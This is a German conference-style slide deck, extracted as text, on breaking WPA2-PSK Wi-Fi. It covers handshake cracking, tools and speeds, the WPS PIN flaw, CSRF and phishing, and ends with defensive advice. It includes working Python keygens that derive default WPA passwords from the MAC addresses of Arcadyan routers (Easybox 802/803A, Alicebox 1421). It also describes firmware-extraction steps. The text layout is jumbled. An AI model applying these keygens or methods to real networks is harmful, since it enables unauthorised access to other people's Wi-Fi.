Circumvent WPA2 (PSK) Warker 13.10.2015
Inhalt ●
●
Vorstellung WPA(2) –
TKIP
–
CCMP
–
4 Way-Handshake / EAPOL
Password Recovery –
Bruteforce / Wörterbuch
–
WPS
●
Standardpasswortgeneratoren
●
Weitere Möglichkeiten
Vorstellung WPA(2) ●
●
●
●
●
●
●
Wifi Protected Access 2004 als Quasistandard aus Teilen des IEEE 802.11i Drafts entstanden um die Unzulänglichkeiten von Wired Equivalent Privacy zu korrigieren WifiAlliance wollte nicht auf die Fertigstellung des IEEE 802.11i Standards warten, da WEP zu diesem Zeitpunkt schon als gebrochen galt Ableitung eines mit der Password-Based-Key-Derivation-Function 2 Masterschlüssels aus dem Wlan-Passwort (Pre-Shared-Key) IEEE 802.1X (Extensible Authentication Protocol Over „Lan“) zur Generierung eines temporären Schlüssels Message Integrity Check zur Sicherung der Integrität von Nachrichten 2 Modi: Temporary Key Integrity Protocol (WPA) und Counter-Mode/CBCMAC Protocol (WPA2)
TKIP Temporary Key Integrity Protocol
●
●
●
●
●
Nutzt wie WEP RC4 als Verschlüsselung 48Bit Initialisierungsvektor anstatt 24Bit (WEP) Key-Mixing-Algorithmus zur Generierung eines neuen Schlüssels pro Paket Michael als Message Integrity Code anstatt von CRC32 (Schutz vor Replayattacken) Gilt als nicht mehr ausreichend sicher (Vanhoef-Piessens-Attack)
Quelle: http://www.heise.de/netze/artikel/TKIP-und-WPA-224028.html
CCMP Counter Mode Cipher Block Chaining Message Authentication Code Protocol
●
Löst TKIP ab
●
Default Modus für WPA 2
●
●
●
Quelle: http://etutorials.org/Networking/802.11+security.+wifi+protected+access+and+802.11i/Part+II+The+Design+of+WiFi+Security/Chapter+12.+AES+CCMP/How+CCMP+Is+Used+in+RSN/
Verwendet AES 128 als Verschlüsselung anstatt RC4 Cipher Block Chaining Message Authentication Code (CBC-MAC) anstatt Michael Keine öffentlich bekannten Sicherheitslücken
4 Way Handshake / EAPOL Extensible Authentication Protocol Over (W)LAN
STA
AP
●
ANonce
STA constructs the PTK
●
SNonce + MIC ●
AP constructs the PTK GTK + MIC Ack
Quelle: https://upload.wikimedia.org/wikipedia/commons/a/ac/4-way-handshake.svg
●
IEEE 802.1X-2001 bzw 2004 Extensible Authentication Protocol Aushandlung des PairwiseTransient-Key Berechnet aus dem PairwiseMaster-Key, der ANonce, der Snonce sowie STAMacadresse und AccessPointMacadresse Bisher die einzige Möglichkeit um durch einen Mitschnitt des Traffics an das Wlan-Passwort zu gelangen
Vom Passwort zum PTK ●
●
PSK = PMK = PBKDF2(Pass, Ssid, SsidLen, 4096, 256) ● Pass = Passwort der Länge 8-63 und nur Zeichen von 0x20 – 0x7e (96 Zeichen) ● Ssid = Name des Netzwerks als Salt (aus dem Broadcast oder Proberequest) ● 4096 Runden → 8192 Aufrufe HMAC-SHA1 ● 256 Bit = Länge des Pairwise-Master-Keys/Pre-Shared-Key
HMAC-SHA1(secret, val) = SHA1((secret ⊕ 0x5c)||SHA1((s ⊕ 0x36)||val))
Password Recovery ●
Was kennen wir?
●
PTK = Pass2PTK(Pass, Ssid, Anonce, Snonce, Amac, Smac) –
Ssid ist aus Broadcasts oder Probe-Requests bekannt
–
Amac, Smac, Anonce und Snonce aus dem 4Way-Handshake
●
Original-MIC und Inhalt des Daten-Pakets zum Vergleich
●
Was fehlt ist „nur“ das Passwort Rechenkern
Passwörter/s (Hashcat)
CPU
~1.000 – 10.000
ATI Radeon r9 290x
~170.000
Nvidia GTX970
~170.000
Amazon EC2 g2.8xlarge
4x ~45.000 = ~180.000 (2,60$/h)
Bruteforce Fritz!Box Default Passwort
10 Billiarden Kombinationen (10^16) 170KH/s → ~1864 Jahre
Wörterbuchangriff ●
●
Jemand hat das Standardpasswort auf den Namen seines Haustiers geändert –
Nur wenige Nutzer ändern das Standardpasswort
–
Meist erkennt man das an geänderten Ssids
Tools (gilt auch für Bruteforce) –
Aircrack-ng (CPU)
–
Pyrit (GPU)
–
*hashcat (CPU, GPU)
–
John-the-Ripper (Regelbasierte Erweiterung des Wörterbuchs)
Rainbow-Tables ●
●
Time-Memory-Tradeoff würde sich anbieten Durch Verwendung der Ssid als Salt wird eine echte jedoch Rainbow-Table unpraktisch
●
Oft wird keine feste Ssid verwendet (z.B. WLAN-)
●
„Rainbow-Table“ von der Church of Wifi
●
–
1 Millionen Passwörter (Wörterbuch) für 1000 Standard-Ssids
–
33 GB Groß
–
genpmk zur Generierung eigener Rainbow-Tables
Lohnt im allgemeinen nicht
WPS Wifi-Protected-Setup ●
2007 eingeführt um die Verbindung von Clients zum AP zu vereinfachen –
PIN – Eingabe einer 8 stelligen Pin
–
PBC – drücken eines Kopfes am AP und am Client zum herstellen der Verbindung (begrenzt auf ~2 Minuten)
–
NFC – der Client muss eine Datenverbindung per NFC mit dem AP aufbauen um das Passwort zu erhalten (häufig bei Druckern)
●
Standardmäßig aktiviert
●
Umgeht jedes noch so sichere Passwort
WPS (PIN) Wifi-Protected-Setup ●
●
●
●
●
●
Brute forcing Wi-Fi Protected Setup – Viehböck 2011
Sehr schlechtes Design AP schickt Bestätigung ob die ersten 4 Ziffern korrekt sind m( Somit nicht 10^8 Kombinationen sondern nur 2 * 10^4 Die 8 Ziffer ist nur eine Checksumme der Ziffern 1-7 → nur 11.000 Kombinationen Manche Implementierungen machen nach ein paar Versuchen WPS dicht Manche Hersteller generieren die PIN anhand eines Algorithmus (z.B. EasyBox 802)
Default Algorithmen ●
●
●
●
●
●
Wird bei OEM-Routern verwendet um einen weiteren Schritt bei der Herstellung einzusparen Häufigster Hersteller Arcadyan (z.B. Vodafone Easybox 803A, Alice/O2 1121, 1421, 4421) März 2012 wurde der Algorithmus zur Generierung des WPA-Passworts aus der MAC-Adresse bekannt, da er in einem Patent beschrieben wurde m( August 2013 wurde dann die Firmware untersucht und der Algorithmus zur Generierung der WPS-PIN gefunden Ende 2013 gab es einen „Patch“, der die MAC beim Booten anhand der alten MAC und der Seriennummer verändert Allerdings blieb die SSID und der Algorithmus für die Generierung des WPAPassworts und der WPS-Pin gleich (sonst hätte man die User ausgesperrt)
Easybox 802 und 803A def change_mac(old_mac, serial): old_mac = old_mac.upper() # das ist der Init-Wert aus dem ROM pre_heat = bytearray.fromhex('1F170F131D062704\ 0716240C12082511\ 201E10180D192201\ 151B211C0326140E\ 05020015090A0B23') # nur 4 Ziffern aus der Seriennummer pre_heat[6:15] = '%s%05d' % (serial[0:4], int(old_mac[8:], 16)) # fuege alte MAC ein pre_heat[17:23] = old_mac[6:] res = hashlib.md5(pre_heat).hexdigest() # MD5 hashing return '%02X%s%s%s%s' %(int(old_mac[0:2], 16)+2, old_mac[2:6], res[8:10].upper(), res[16:18].upper(), res[28:30].upper()) def keygen( mac ): (s6, s7, s8, s9, s10) = [int(x) for x in '%05d' % (int(mac[8:], 16))] (m9, m10, m11, m12) = [int(x, 16) for x in mac[8:]] k1 = (s7 + s8 + m11 + m12) & (0x0F) k2 = (m9 + m10 + s9 + s10) & (0x0F) x1 = k1 ^ s10 x2 = k1 ^ s9 x3 = k1 ^ s8 y1 = k2 ^ m10 y2 = k2 ^ m11 y3 = k2 ^ m12 z1 = m11 ^ s10 z2 = m12 ^ s9 z3 = k1 ^ k2 return "%X%X%X%X%X%X%X%X%X" % (x1, y1, z1, x2, y2, z2, x3, y3, z3)
●
●
●
●
●
●
●
Wir kennen die neue MAC Die neue MAC besteht zur Hälfte aus der alten Es werden nur 4 Ziffern der Seriennummer verwendet Theoretisch 10000*2^24 = 167772160000 Kombinationen →~30 min bei 100MH/s (CPU) Keygen verwendet allerdings nur die letzten beiden Bytes der MAC-Adresse → Wörterbuch mit 65536 Einträgen EasyBox-AABBXY → AABB - Teile der alten MAC; XY – 2 Ziffern der Seriennummer → 10000 * 2^8 Als Lösung kommt eine Menge aus 1-3 möglichen Ursprung-MACs heraus
Wie findet man diese? 1. UART Ausgabe analysieren 2. Firmware auftreiben ● Download von der Herstellerseite ● Via UART über den Bootloader ● JTAG ● Direkt vom Romchip 3. Analyse des Roms ● strings ● binwalk best software ever! ● hexdump ● file 4. Disassemble ● IDA pro ● radare2 ● objdump http://warkerranger.tumblr.com
Tools: screen(uart), qemu (Emulation von Binaries)
Alicebox 1421 def generate_key(mac_str, serial_number): sp = [] mac_data = [int(x, 16) for x in mac_str] sn_data = [int(x, 16) for x in serial_number]
●
Hersteller Arcadyan
t0 = mac_data[8] t1 = sn_data[8]
●
t2 = sn_data[7] t3 = mac_data[10]
Möglichkeit über UART den ROM auszulesen; leider zu spät erfahren also TSOP 48 Romchip per Heißluft ausgelötet
t4 = sn_data[6] a1 = sn_data[9]
●
a2 = mac_data[9] a3 = mac_data[11]
Rom über Programmer ausgelesen → falsche Endianess → 4 Byte Swap
a0 = (t4+t2+t3+a3) & 0xf v1 = (t0+a2+t1+a1) & 0xf
●
sp.append(a0^a1) sp.append(v1^a2) sp.append(t3^a1) sp.append(a0^t0)
●
sp.append(v1^t4) sp.append(sn_data[5]) sp.append(a0^t1) sp.append(v1^t3)
●
Binwalk erkennt 3 LZMA Blöcke die nicht korrekt entpackt werden können (Obfucated) Mit IDA den Bootloader analysiert und den Deobfuscation Algorithmus entdeckt Damit den Speicher wiederhergestellt und mit 7zip entpackt
sp.append(a3^t1) sp.append(a0^a2) sp.append(v1^t2)
●
sp.append(a0^t2)
In IDA Pro nach der SSID gesucht und die Referenz auf den WPA-Generator gefunden
sp.append(v1^a3) sp.append(a0^v1) sp.append(a0^t3) sp.append(v1^t1) return “.join([str(x%10) for x in sp])
●
Ähnelt stark dem Easybox-Algorithmus ;)
Alternative Angriffe ●
●
Cross-Site-Request-Forgery –
Opfer besucht bösartige Webseite
–
Browser ruft eine API-Funktion vom Router auf (z.B. über ein Image-Tag)
–
Auslesen/ändern der Konfiguration des Routers
–
Kombinierbar mit dem Vanhoef-Piessens-Attack
Phishing –
●
Wifiphisher
Fazit: –
WPA2-CCMP verwenden
–
Standardpasswort des Routers und WPA2 ändern
–
WPS abschalten! Sollte dies nicht möglich sein, anderen Router kaufen.
Vielen Dank für die Aufmerksamkeit